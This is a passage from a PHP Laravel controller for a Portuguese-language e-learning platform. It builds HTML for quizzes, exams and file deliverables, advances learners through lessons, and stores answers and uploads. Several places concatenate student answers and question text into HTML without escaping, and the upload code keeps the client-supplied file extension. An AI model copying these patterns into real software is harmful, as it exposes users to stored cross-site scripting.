Auth::user()->id]])->first()->correta == "0") { $aula->conteudo->correto = false; } else { $aula->conteudo->correto = null; } } else { $aula->conteudo->correto = null; } $aula->conteudo->conteudo = '<div class="px-3 py-2"> <h2>' . ucfirst($tempCont->pergunta) . '</h2>'; if($aula->conteudo->completo != null) { if($aula->conteudo->correto != null) { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 ' . ($aula->conteudo->correto ? 'alternativa-correta' : 'alternativa-incorreta') . '"> <div class="form-group mb-3 text-left"> <textarea class="form-control" name="resposta" id="txtRespostaDissertativa" rows="3" placeholder="Clique para digitar sua resposta.">' . $resposta . '</textarea> </div> </div>'; } else { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3"> <div class="form-group mb-3 text-left"> <textarea class="form-control" name="resposta" id="txtRespostaDissertativa" rows="3" placeholder="Clique para digitar sua resposta." readonly>' . $resposta . '</textarea> </div> </div>'; } } else { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3"> <div class="form-group mb-3 text-left"> <textarea class="form-control" name="resposta" id="txtRespostaDissertativa" rows="3" placeholder="Clique para digitar sua resposta."></textarea> </div> </div>'; } if($aula->conteudo->correto === null) { $aula->conteudo->conteudo .= ' <div id="divAguardandoCorrecao" class="p-3 ' . ($aula->conteudo->completo ? '' : 'd-none') . '"> <h4> <i class="fas fa-clock fa-fw mr-2 fa-lg"></i> Aguardando correção do professor.' . $aula->conteudo->correto .' </h4> </div> <div id="divRespostaCorreta" class="p-3 d-none"> <h4 style="color: #008CC8;"> <i class="fas fa-check fa-fw mr-2 fa-lg"></i> Parabéns, você acertou! </h4> </div> <div id="divRespostaIncorreta" class="p-3 d-none"> <h4 style="color: #ee9164;"> <i class="fas fa-times fa-fw mr-2 fa-lg"></i> Que pena, você não acertou! Tente novamente. </h4> </div>'; $aula->conteudo->conteudo .= ' <div class="text-right"> <button id="btnConfirmarResposta" type="button" onclick="confirmarResposta();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Confirmar </button> <button id="btnTentarNovamente" type="button" onclick="tentarNovamente();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto d-none" style="color: #525870; border: 3px solid #008cc8;"> Tentar novamente </button> </div> </div>'; } else { $aula->conteudo->conteudo .= ' <div id="divAguardandoCorrecao" class="p-3 d-none"> <h4> <i class="fas fa-clock fa-fw mr-2 fa-lg"></i> Aguardando correção do professor. </h4> </div> <div id="divRespostaCorreta" class="p-3 ' . ($aula->conteudo->correto ? '' : 'd-none') . '"> <h4 style="color: #008CC8;"> <i class="fas fa-check fa-fw mr-2 fa-lg"></i> Parabéns, você acertou! </h4> </div> <div id="divRespostaIncorreta" class="p-3 ' . ($aula->conteudo->correto ? 'd-none' : '') . '"> <h4 style="color: #ee9164;"> <i class="fas fa-times fa-fw mr-2 fa-lg"></i> Que pena, você não acertou! Tente novamente. </h4> </div>'; $aula->conteudo->conteudo .= ' <div class="text-right"> <button id="btnConfirmarResposta" type="button" onclick="confirmarResposta();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Confirmar </button> <button id="btnTentarNovamente" type="button" onclick="tentarNovamente();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo == false ? 'd-none' : '') . ($aula->conteudo->correto == true ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Tentar novamente </button> </div> </div>'; } } else if($aula->conteudo->tipo == 8) { $tempCont = json_decode($aula->conteudo->conteudo); if($aula->conteudo->completo) { $aula->conteudo->correto = ($tempCont->correta == $resposta); } else { $aula->conteudo->correto = null; } $aula->conteudo->conteudo = '<div class="px-3 py-2"> <h2>' . ucfirst($tempCont->pergunta) . '</h2>'; foreach ($tempCont->alternativas as $key => $alternativa) { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxAlternativa' . ($key + 1) .'" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 ' . ($aula->conteudo->completo ? ($resposta == ($key + 1) ? ($aula->conteudo->correto ? 'alternativa-correta' : 'alternativa-incorreta') : 'alternativa-desativada') : '') . '"> <div class="custom-control custom-radio h4"> <input type="radio" id="alternativa' . ($key + 1) .'" name="alternativas" onchange="selecionarAlternativa(this.id);" class="custom-control-input" ' . ($aula->conteudo->completo ? ($resposta == ($key + 1) ? 'checked' : '' ) : '') . '> <label class="custom-control-label pl-4 d-block" for="alternativa' . ($key + 1) .'">' . $alternativa . '</label> </div> </div>'; } $aula->conteudo->conteudo .= ' <div id="divRespostaCorreta" class="p-3 ' . ($aula->conteudo->completo ? ($aula->conteudo->correto ? '' : 'd-none') : 'd-none') . '"> <h4 style="color: #008CC8;"> <i class="fas fa-check fa-fw mr-2 fa-lg"></i> Parabéns, você acertou! </h4> </div> <div id="divRespostaIncorreta" class="p-3 ' . ($aula->conteudo->completo ? ($aula->conteudo->correto ? 'd-none' : '') : 'd-none') . '"> <h4 style="color: #ee9164;"> <i class="fas fa-times fa-fw mr-2 fa-lg"></i> Que pena, você não acertou! Tente novamente. </h4> </div> <div class="text-right"> <button id="btnConfirmarResposta" type="button" onclick="confirmarResposta();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Confirmar </button> <button id="btnTentarNovamente" type="button" onclick="tentarNovamente();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo == false ? 'd-none' : '') . ($aula->conteudo->correto == true ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Tentar novamente </button> </div> </div>'; } else if($aula->conteudo->tipo == 9) { $perguntas = json_decode($aula->conteudo->conteudo); $cmbPerguntas = ''; $tempConteudoCompleto = null; if($aula->conteudo->completo) { $tempConteudoCompleto = ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first(); $tempConteudoCompleto->resposta = json_decode($tempConteudoCompleto->resposta); if($tempConteudoCompleto->correta !== null) { $tempConteudoCompleto->correta = json_decode($tempConteudoCompleto->correta); } } for ($i=0; $i < count($perguntas); $i++) { $cmbPerguntas = $cmbPerguntas . '<option value="' . ($i + 1) . '" ' . ($i == 0 ? 'selected' : '') . '>Questão ' . ($i + 1) . '</option>'; } $aula->conteudo->conteudo = '<div class="px-3 py-2"> <div class="form-group mb-3"> <select class="custom-select form-control d-inline-block mr-2" id="cmbQuestaoAtual" onchange="mudouPerguntaProvaAtual();" style="width: auto; min-width: 200px;"> ' . $cmbPerguntas . ' </select> </div>'; $divPerguntas = ''; $totalCorretas = 0; $totalPontos = 0; foreach ($perguntas as $key => $pergunta) { $divPerguntas = $divPerguntas . '<div id="divPergunta' . ($key + 1) . '" data-tipo="' . $pergunta->tipo . '" class="' . ($key > 0 ? 'd-none' : '') . '">'; $divPerguntas = $divPerguntas . '<h2>' . ucfirst($pergunta->pergunta) . ' <small class="text-muted mr-3">(Peso: ' . $pergunta->peso . ')</small> ' . ($key + 1) . '/' . count($perguntas) . '</h2>'; $pergunta->correta = null; if($tempConteudoCompleto != null) { if($tempConteudoCompleto->correta !== null) { if($tempConteudoCompleto->correta[$key] == "1") { $pergunta->correta = true; $totalCorretas ++; $totalPontos += $pergunta->peso; } else { $pergunta->correta = false; } } } if($pergunta->tipo == 1) { $divPerguntas = $divPerguntas . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 ' . ($aula->conteudo->completo ? ($pergunta->correta !== null ? ($pergunta->correta === true ? 'alternativa-correta' : 'alternativa-incorreta') : '') : '') . '"> <div class="form-group mb-3 text-left"> <textarea class="form-control" name="resposta" id="txtRespostaDissertativa" rows="3" placeholder="Clique para digitar sua resposta." ' . ($aula->conteudo->completo ? 'readonly' : '') . '>' . ($aula->conteudo->completo ? $tempConteudoCompleto->resposta[$key] : '') . '</textarea> </div> </div>'; } else { foreach ($pergunta->alternativas as $key2 => $alternativa) { $divPerguntas = $divPerguntas . ' <div id="boxAlternativa' . ($key2 + 1) .'" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 ' . ($aula->conteudo->completo ? 'alternativa-desativada' : '') . ' ' . ($aula->conteudo->completo ? (($key2 + 1) == $tempConteudoCompleto->resposta[$key] ? ($pergunta->correta !== null ? ($pergunta->correta === true ? 'alternativa-correta' : 'alternativa-incorreta') : '') : '') : '') . '"> <div class="custom-control custom-radio h4"> <input type="radio" id="alternativa' . ($key + 1) .'-' . ($key2 + 1) .'" class="custom-control-input" ' . ($aula->conteudo->completo ? 'readonly' : '') . ' ' . ($aula->conteudo->completo ? (($key2 + 1) == $tempConteudoCompleto->resposta[$key] ? 'checked' : '') : '') . '> <label class="custom-control-label pl-4 d-block" for="alternativa' . ($key + 1) .'-' . ($key2 + 1) .'">' . $alternativa . '</label> </div> </div>'; } } $divPerguntas = $divPerguntas . '</div>'; } $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<div id="divPerguntas"> ' . $divPerguntas . ' </div>'; $aula->conteudo->conteudo .= ' <div id="divAguardandoCorrecao" class="p-3 ' . ($aula->conteudo->completo ? $tempConteudoCompleto->correta !== null ? 'd-none' : '' : 'd-none') . '"> <h4> <i class="fas fa-clock fa-fw mr-2 fa-lg"></i> Aguardando correção do professor. </h4> </div> <div id="divRespostaCorreta" class="p-3 ' . ($aula->conteudo->completo ? $tempConteudoCompleto->correta !== null ? '' : 'd-none' : 'd-none') . '"> <h4 style="color: #008CC8;"> <i class="fas fa-check fa-fw mr-2 fa-lg"></i> Você concluiu! Sua pontuação total foi de: ' . $totalPontos . ' e acertou ' . $totalCorretas . ' de ' . count($perguntas) . '. </h4> </div> <div id="divRespostaIncorreta" class="p-3 d-none"> <h4 style="color: #ee9164;"> <i class="fas fa-times fa-fw mr-2 fa-lg"></i> Que pena, você não acertou! Tente novamente. </h4> </div> <div class="text-right"> <button id="btnConfirmarResposta" type="button" onclick="confirmarRespostaProva();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Confirmar e prosseguir </button> <button id="btnTentarNovamente" type="button" onclick="tentarNovamenteProva();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo && $aula->conteudo->correto === true ? '' : 'd-none') . '" style="color: #525870; border: 3px solid #008cc8;"> Recomeçar a prova </button> </div> </div>'; } else if($aula->conteudo->tipo == 10) { if($aula->conteudo->completo) { if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first()->correta === "1") $aula->conteudo->correto = true; elseif(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first()->correta === "0") $aula->conteudo->correto = false; else $aula->conteudo->correto = null; } else { $aula->conteudo->correto = null; } $aula->conteudo->conteudo = '<div class="px-3 py-2"> <h2>' . ($aula->conteudo->conteudo) . '</h2>'; if($aula->conteudo->completo != null) { $idResposta = ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first()->id; if($aula->conteudo->correto != null) { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 w-auto d-inline-block ' . ($aula->conteudo->correto ? 'alternativa-correta' : 'alternativa-incorreta') . '" style="pointer-events: initial;"> <a href="' . route('gestao.entregaveis-arquivo', ['idResposta' => $idResposta]) . '" target="_blank" class="btn bg-bluelight px-5 signin-button m-0 text-dark font-weight-bold"> <i class="fas fa-paperclip fa-lg text-primary mr-2 align-middle"></i> Baixar arquivo </a> </div>'; } else { $aula->conteudo->conteudo = $aula->conteudo->conteudo . ' <div id="boxResposta" class="box-alternativa box-shadow px-4 py-4 rounded-10 my-3 w-auto d-inline-block" style="pointer-events: initial;"> <a href="' . route('gestao.entregaveis-arquivo', ['idResposta' => $idResposta]) . '" target="_blank" class="btn bg-bluelight px-5 signin-button m-0 text-dark font-weight-bold"> <i class="fas fa-paperclip fa-lg text-primary mr-2 align-middle"></i> Baixar arquivo </a> </div>'; } } else { $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<form id="formEnviarEntregavel" method="POST" action="' . route('curso.play.enviar-entregavel', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $aula->conteudo->id]) . '" enctype="multipart/form-data" class=""> ' . csrf_field() . ' <div id="divEnviando" class="text-center d-none"> <i class="fas fa-spinner fa-pulse fa-3x text-primary mb-3"></i> <h4>Enviando</h4> </div> <div id="divEditar" class="form-page"> <div class="row"> <div class="col my-auto"> <label for="arquivo" class="btn btn-outline px-3 py-2 text-uppercase font-weight-bold position-relative m-0" style="border-width: 1px;border: 2px solid #008CC8;color: #008CC8;"> <input type="file" class="custom-file-input" id="arquivo" name="arquivo" style="top: 0px;height: 100%;position: absolute;left: 0px;" oninput="anexouArquivo(this);"> <i class="fas fa-paperclip fa-lg text-primary mr-2 align-middle"></i> <span id="lblNomeArquivo">Clique para enviar seu arquivo</span> </label> </div> <div class="col my-auto text-right"> <button id="btnEnviarEntregavel" type="submit" onclick="enviarEntregavel();" class="btn bg-bluelight px-5 signin-button m-0 text-dark font-weight-bold">Enviar</button> </div> </div> </div> </form>'; } if($aula->conteudo->correto === null) { $aula->conteudo->conteudo .= ' <div id="divAguardandoCorrecao" class="p-3 ' . ($aula->conteudo->completo ? '' : 'd-none') . '"> <h4> <i class="fas fa-clock fa-fw mr-2 fa-lg"></i> Aguardando correção do professor. </h4> </div>'; } else { $aula->conteudo->conteudo .= ' <div id="divAguardandoCorrecao" class="p-3 d-none"> <h4> <i class="fas fa-clock fa-fw mr-2 fa-lg"></i> Aguardando correção do professora. </h4> </div> <div id="divRespostaCorreta" class="p-3 ' . ($aula->conteudo->correto ? '' : 'd-none') . '"> <h4 style="color: #008CC8;"> <i class="fas fa-check fa-fw mr-2 fa-lg"></i> Parabéns, você acertou! </h4> </div> <div id="divRespostaIncorreta" class="p-3 ' . ($aula->conteudo->correto ? 'd-none' : '') . '"> <h4 style="color: #ee9164;"> <i class="fas fa-times fa-fw mr-2 fa-lg"></i> Que pena, você não acertou! Tente novamente. </h4> </div>'; if(!$aula->conteudo->correto) { $aula->conteudo->conteudo .= ' <div class="text-right"> <button id="btnTentarNovamente" type="button" onclick="tentarNovamente();" class="btn bg-bluelight btn-lg py-2 px-4 rounded-10 text-uppercase font-weight-bold text-truncate col-12 col-sm-auto ' . ($aula->conteudo->completo == false ? 'd-none' : '') . ($aula->conteudo->correto == true ? 'd-none' : '') . '" style="color: #525870; border: 3px solid #008cc8;"> Enviar novo arquivo </button> </div> </div>'; $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<form id="formEnviarEntregavel" method="POST" action="' . route('curso.play.enviar-entregavel', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $aula->conteudo->id]) . '" enctype="multipart/form-data" class="d-none"> ' . csrf_field() . ' <div id="divEnviando" class="text-center d-none"> <i class="fas fa-spinner fa-pulse fa-3x text-primary mb-3"></i> <h4>Enviando</h4> </div> <div id="divEditar" class="form-page"> <div class="row"> <div class="col my-auto"> <label for="arquivo" class="btn btn-outline px-3 py-2 text-uppercase font-weight-bold position-relative m-0" style="border-width: 1px;border: 2px solid #008CC8;color: #008CC8;"> <input type="file" class="custom-file-input" id="arquivo" name="arquivo" style="top: 0px;height: 100%;position: absolute;left: 0px;" oninput="anexouArquivo(this);"> <i class="fas fa-paperclip fa-lg text-primary mr-2 align-middle"></i> <span id="lblNomeArquivo">Clique para enviar seu arquivo</span> </label> </div> <div class="col my-auto text-right"> <button id="btnEnviarEntregavel" type="submit" onclick="enviarEntregavel();" class="btn bg-bluelight px-5 signin-button m-0 text-dark font-weight-bold">Enviar</button> </div> </div> </div> </form>'; } } } else if ($aula->conteudo->tipo == 11) { $url_apostila = env("APP_LOCAL") . '/uploads/apostilas/' . $aula->conteudo->id; $aula->conteudo->conteudo = '<iframe src="' . env("APP_LOCAL") . '/leitor_apostila/' . $aula->conteudo->id . '?conteudo_id=' . $aula->conteudo->id . '&url=' . $url_apostila . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } $aula->conteudo->comentarios = ComentarioConteudo::with('user')->where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]])->orderBy('created_at', 'desc')->get(); $aula->conteudo->qtAvaliacoesPositivas = AvaliacaoConteudo::where([['avaliacao', '=', '1']])->count(); $aula->conteudo->qtAvaliacoesNegativas = AvaliacaoConteudo::where([['avaliacao', '=', '0']])->count(); $aula->conteudo->minhaAvaliacao = AvaliacaoConteudo::where([['user_id', '=', Auth::user()->id]])->first(); if($aula->conteudo->apoio != null) { $aula->conteudo->apoio = \HelperClass::linkfy($aula->conteudo->apoio); $aula->conteudo->apoio = strip_tags($aula->conteudo->apoio, '<a>'); } if($aula->conteudo->fonte != null) { $aula->conteudo->fonte = \HelperClass::linkfy($aula->conteudo->fonte); $aula->conteudo->fonte = strip_tags($aula->conteudo->fonte, '<a>'); } if($aula->conteudo->autores != null) { $aula->conteudo->autores = \HelperClass::linkfy($aula->conteudo->autores); $aula->conteudo->autores = strip_tags($aula->conteudo->autores, '<a>'); } if(\Session::has('aulaCompleta') ? (\Session::get('aulaCompleta') == true) : false) { return response()->json(['success'=> 'Aula e conteudo encontrada.', 'aula' => json_encode($aula), 'aulaCompleta' => true]); } else { return response()->json(['success'=> 'Aula e conteudo encontrada.', 'aula' => json_encode($aula)]); } } else { return response()->json(['error' => 'Conteudo não encontrado']); } } else { // dd(\Session::get('aulaCompleta')); return response()->json(['error' => 'Aula não encontrada']); } } function playGetProximoConteudo($idCurso, $idAula, $idConteudo) { $this->checkMatricula($idCurso); if($idAula == 0) { $idAula = Aula::where([['curso_id', '=', $idCurso]])->first()->id; } if($idConteudo == 0) { // $idConteudo = Conteudo::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]])->first()->id; $idConteudo = Conteudo::whereHas('conteudos_aula', function ($query) use ($idAula, $idCurso) { $query->where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]]); })->first()->id; // dd($idConteudo); } $proximaAula = $idAula; $curso_atual = Curso::find($idCurso); if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { $aula_atual = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first(); if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $tipoConteudo = Conteudo::where([['id', '=', $idConteudo]])->first()->tipo; if($tipoConteudo != 7 && $tipoConteudo != 8 && $tipoConteudo != 9 && $tipoConteudo != 10) { if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first() == null) { ConteudoCompleto::create([ 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, 'user_id' => Auth::user()->id ]); $qt_conteudos_aula_atual = ConteudoAula::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count(); $qt_conteudos_aula_atual_completos = ConteudoCompleto::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->count(); $aula_completa = ($qt_conteudos_aula_atual_completos >= $qt_conteudos_aula_atual); if($aula_completa) { Notificacao::create([ 'user_id' => Auth::user()->id, 'titulo' => "Aula concluída", 'descricao' => "Parabéns, você concluiu a aula " . ( $aula_atual->titulo ), 'tipo' => 2, ]); \App\Services\GamificacaoService::aulaConcluidaIncrement(); } $qt_conteudos_curso_atual = ConteudoAula::where([['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->count(); $qt_conteudos_curso_atual_completos = ConteudoCompleto::where([['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->count(); $curso_completo = ($qt_conteudos_curso_atual_completos >= $qt_conteudos_curso_atual); if($curso_completo) { if($curso_atual != null) { Notificacao::create([ 'user_id' => Auth::user()->id, 'titulo' => "Curso concluído!", 'descricao' => "Parabéns, você concluiu o curso " . ( $curso_atual->titulo ), 'tipo' => 2, ]); } \App\Services\GamificacaoService::cursoConcluidoIncrement(); } if(BadgeUsuario::where([['badge_id', '=', 12], ['user_id', '=', Auth::user()->id]])->exists() == false) { BadgeUsuario::create([ 'badge_id' => 12, 'user_id' => Auth::user()->id, ]); } } } } } $conteudoAtual = Conteudo::with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($idCurso, $idAula) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]); }) ->where([['id', '=', $idConteudo]]) ->first(); // dd($conteudoAtual); if($conteudoAtual == null) { return response()->json(['error' => 'Conteúdo atual não encontrado!', "aulaAtual" => $idAula, "conteudoAtual" => $idConteudo]); } $proximoConteudo = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($idCurso, $idAula, $conteudoAtual) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula], ['ordem', '>', $conteudoAtual->conteudo_aula->ordem]]); // })->orderBy('ordem', 'asc')->pluck('id')->first(); }) ->get() ->sortBy('conteudos_aula.ordem') ->pluck('id') ->first(); // dd($proximoConteudo); // if(Conteudo::where([['ordem', '>', $conteudoAtual->ordem]])->whereDoesntHave('conteudo_completo')->orderBy('ordem', 'asc')->pluck('id')->first() != null) // { // $proximoConteudo = Conteudo::where([['ordem', '>', $conteudoAtual->ordem]])->orderBy('ordem', 'asc')->pluck('id')->first(); // } // else if($proximoConteudo == null) { $aulaCompleta = true; // dd(Conteudo::with('conteudo_aula') // ->whereHas('conteudo_aula', function ($query) use ($idCurso, $idAula) { // $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]); // })->get()->sortBy('conteudos_aula.ordem')); // foreach (Conteudo::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['obrigatorio', '=', 1]])->orderBy('ordem')->get() as $key => $value) foreach (Conteudo::with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($idCurso, $idAula) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula]]); })->get()->sortBy('conteudos_aula.ordem') as $key => $value) { if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['conteudo_id', '=', $value->id], ['aula_id', '=', $value->conteudo_aula->aula_id], ['curso_id', '=', $value->conteudo_aula->curso_id]])->first() == null) { $proximaAula = $value->aula_id; $proximoConteudo = $value->id; $aulaCompleta = false; break; } else { continue; } } if($aulaCompleta == true) { if(Aula::where([['id', '>', $idAula], ['curso_id', '=', $idCurso]])->orderBy('id')->pluck('id')->first() != null) { $proximaAula = Aula::where([['id', '>', $idAula], ['curso_id', '=', $idCurso]])->orderBy('id')->pluck('id')->first(); // dd($proximaAula); $proximoConteudo = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($proximaAula, $idCurso) { $query->where([['aula_id', '=', $proximaAula], ['curso_id', '=', $idCurso]]); // })->orderBy('ordem', 'asc')->pluck('id')->first(); }) ->get() ->sortBy('conteudos_aula.ordem') ->pluck('id') ->first(); // if(Conteudo::where([['aula_id', '=', $proximaAula], ['curso_id', '=', $idCurso]])->orderBy('ordem', 'asc')->pluck('id')->first() != null) // { // $proximoConteudo = Conteudo::where([['aula_id', '=', $proximaAula], ['curso_id', '=', $idCurso]])->orderBy('ordem', 'asc')->pluck('id')->first(); // } // else if($proximoConteudo == null) { if(CursoCompleto::where([['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first() == null) { CursoCompleto::create([ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso ]); } return response()->json(['error' => 'Não há próximo conteúdo', 'cursoCompleto' => true]); } } else { if(CursoCompleto::where([['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first() == null) { CursoCompleto::create([ 'user_id' => Auth::user()->id, 'curso_id' => $idCurso ]); } return response()->json(['error' => 'Não há próxima aula', 'cursoCompleto' => true]); } } \Session::flash('aulaCompleta', $aulaCompleta); } return $this->playGetConteudo($idCurso, $proximaAula, $proximoConteudo); } public function postEnviarResposta($idCurso, $idAula, $idConteudo, Request $request) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['user_id', '=', Auth::user()->id]])->first() == null) { $tempCont = json_decode(Conteudo::where([['id', '=', $idConteudo]])->first()->conteudo); if(Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 7 || Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 9) { $resposta = $request->resposta; } else { $resposta = $request->alternativa; } $conteudoCompleto = ConteudoCompleto::create([ 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, 'user_id' => Auth::user()->id, 'resposta' => $resposta, ]); if(Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 7 || Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 9) { if(Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 9) { $provaQuiz = true; foreach ($tempCont as $pergunta) { if($pergunta->tipo == 1) { $provaQuiz = false; } } if($provaQuiz) { $correta = []; $resposta = json_decode($resposta); foreach ($tempCont as $key => $pergunta) { if($pergunta->correta == $resposta[$key]) { array_push($correta, 1); } else { array_push($correta, 0); } } $conteudoCompleto->update(['correta' => json_encode($correta)]); } } return response()->json(['success' => 'Aguardando correção!']); } else { if($request->alternativa == $tempCont->correta) { return response()->json(['success' => 'Resposta correta!', 'correta' => true]); } else { return response()->json(['success' => 'Resposta incorreta!', 'correta' => false]); } } } else { $tempCont = json_decode(Conteudo::where([['id', '=', $idConteudo]])->first()->conteudo); if(Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 7 || Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 9) { $resposta = $request->resposta; } else { $resposta = $request->alternativa; } ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['user_id', '=', Auth::user()->id]])->first()->update([ 'resposta' => $resposta ]); if(Conteudo::where([['id', '=', $idConteudo]])->first()->tipo == 7) { ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['user_id', '=', Auth::user()->id]])->first()->update([ 'correta' => null ]); return response()->json(['success' => 'Aguardando correção!']); } else { if($request->alternativa == $tempCont->correta) { return response()->json(['success' => 'Resposta correta!', 'correta' => true]); } else { return response()->json(['success' => 'Resposta incorreta!', 'correta' => false]); } } // return response()->json(['success' => 'Conteúdo já respondido!', 'correta' => ($resposta == $tempCont->correta)]); } } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } else { return response()->json(['error' => 'Aula não encontrada!']); } } public function postEnviarEntregavel($idCurso, $idAula, $idConteudo, Request $request) { if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first() == null) { $conteudoCompleto = ConteudoCompleto::create([ 'curso_id' => $idCurso, 'aula_id' => $idAula, 'conteudo_id' => $idConteudo, 'user_id' => Auth::user()->id ]); } else { $conteudoCompleto = ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first(); $conteudoCompleto->update([ 'correta' => null ]); } if($conteudoCompleto->resposta != "") { if(\Storage::disk('local')->has('uploads/entregavel/aluno/' . Auth::user()->id .'/' . $conteudoCompleto->resposta)) { \Storage::disk('local')->delete('uploads/entregavel/aluno/' . Auth::user()->id .'/' . $conteudoCompleto->resposta); } } if($request->arquivo != null) { $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/entregavel/aluno/' . Auth::user()->id .'/', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu anexo!'); } else { 